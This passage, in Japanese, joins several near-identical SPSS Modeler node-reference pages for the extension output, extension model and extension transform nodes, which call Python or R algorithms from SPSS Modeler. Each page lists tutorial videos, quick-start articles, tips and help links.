<iframe width="560" height="315" src="https://www.youtube.com/embed/9lMNDNIAvIk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

#### PythonのLightGBM連携（185秒）
<iframe width="560" height="315" src="https://www.youtube.com/embed/0DPkHN4tero" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

## 3.クイックスタート(拡張ノード共通)

以下の記事で詳しく解説しています。

https://www.ibm.com/blogs/solutions/jp-ja/learn-modeler-05/

https://qiita.com/kawada2017/items/0bb68e0b577e02bb8c6a

https://qiita.com/kawada2017/items/04f525727725d199723c

## 4.Tips(拡張ノード共通)

#### Pythonの自然言語処理を呼び出す例

https://www.ibm.com/blogs/solutions/jp-ja/spssmodeler-push-node-22/

#### 拡張ノードとカスタムノードの違い（2021年SPSS春ユーザー会HONDA様発表資料）

https://speakerdeck.com/jpspss/onewex-spsslian-xi-niyorutekisutofen-xi-falsekuo-zhang?slide=13

## 5.参考情報

#### ノードのヘルプ

https://www.ibm.com/docs/ja/spss-modeler/18.3.0?topic=nodes-extension-output-node

#### SPSS Modeler 逆引きストリーム集（データ加工）

https://qiita.com/416nishimaki/items/4bf813e6cba84b2a1008

#### SPSS Modeler ノードリファレンス目次

https://qiita.com/416nishimaki/private/503037195081d3323eee
SPSS Modeler ノードリファレンス 5-13 拡張モデル

# 5-13 拡張モデル[モデル作成タブ]
<img width="200" alt="194-161拡張モデル.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/8bd99e9c-4478-a399-29c8-491530f1eba1.png">


## 1.ノードの目的(拡張ノード共通)
SPSS ModelerにないアルゴリズムなどをPythonまたはRから呼び出して連携する。

![スクリーンショット 2022-05-08 14.36.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/e8850631-b7e3-dcd1-78f0-60cf7003a24c.png)

＊ノードリファレンスの拡張ノード５つの記事は全て共通です。

## 2.解説動画(拡張ノード共通)

#### Rによる地図連携（115秒）
<iframe width="560" height="315" src="https://www.youtube.com/embed/9lMNDNIAvIk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

#### PythonのLightGBM連携（185秒）
<iframe width="560" height="315" src="https://www.youtube.com/embed/0DPkHN4tero" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

## 3.クイックスタート(拡張ノード共通)

以下の記事で詳しく解説しています。

https://www.ibm.com/blogs/solutions/jp-ja/learn-modeler-05/

https://qiita.com/kawada2017/items/0bb68e0b577e02bb8c6a

https://qiita.com/kawada2017/items/04f525727725d199723c

## 4.Tips(拡張ノード共通)

#### Pythonの自然言語処理を呼び出す例

https://www.ibm.com/blogs/solutions/jp-ja/spssmodeler-push-node-22/

#### 拡張ノードとカスタムノードの違い（2021年SPSS春ユーザー会HONDA様発表資料）

https://speakerdeck.com/jpspss/onewex-spsslian-xi-niyorutekisutofen-xi-falsekuo-zhang?slide=13

## 5.参考情報

#### ノードのヘルプ

https://www.ibm.com/docs/ja/spss-modeler/18.3.0?topic=nodes-extension-model-node

#### SPSS Modeler 逆引きストリーム集（データ加工）

https://qiita.com/416nishimaki/items/4bf813e6cba84b2a1008

#### SPSS Modeler ノードリファレンス目次

https://qiita.com/416nishimaki/private/503037195081d3323eee
SPSS Modeler ノードリファレンス 2-11 拡張の変換

# 2-11 拡張の変換[レコード設定タブ]
<img width="200" alt="194-161拡張の変換.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/5afa9188-186c-baae-6df7-9996cb987fa1.png">


## 1.ノードの目的(拡張ノード共通)
SPSS ModelerにないアルゴリズムなどをPythonまたはRから呼び出して連携する。

![スクリーンショット 2022-05-08 14.36.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/e8850631-b7e3-dcd1-78f0-60cf7003a24c.png)

＊ノードリファレンスの拡張ノード５つの記事は全て共通です。

## 2.解説動画(拡張ノード共通)

#### Rによる地図連携（115秒）
<iframe width="560" height="315" src="https://www.youtube.com/embed/9lMNDNIAvIk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

#### PythonのLightGBM連携（185秒）
<iframe width="560" height="315" src="https://www.youtube.com/embed/0DPkHN4tero" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

## 3.クイックスタート(拡張ノード共通)

以下の記事で詳しく解説しています。

https://community.ibm.com/community/user/blogs/yoichiro-nishimaki/2024/12/23/spss-modeler-05

https://qiita.com/kawada2017/items/0bb68e0b577e02bb8c6a

https://qiita.com/kawada2017/items/04f525727725d199723c

## 4.Tips(拡張ノード共通)

#### Pythonの自然言語処理を呼び出す例

https://community.ibm.com/community/user/blogs/yoichiro-nishimaki/2025/01/24/push22

#### 拡張ノードとカスタムノードの違い（2021年SPSS春ユーザー会HONDA様発表資料）

https://speakerdeck.com/jpspss/onewex-spsslian-xi-niyorutekisutofen-xi-falsekuo-zhang?slide=13

## 5.参考情報

#### ノードのヘルプ

https://www.ibm.com/docs/ja/spss-modeler/18.3.0?topic=nodes-extension-transform-node

#### SPSS Modeler 逆引きストリーム集（データ加工）

https://qiita.com/416nishimaki/items/4bf813e6cba84b2a1008

#### SPSS Modeler ノードリファレンス目次

https://qiita.com/416nishimaki/private/503037195081d3323eee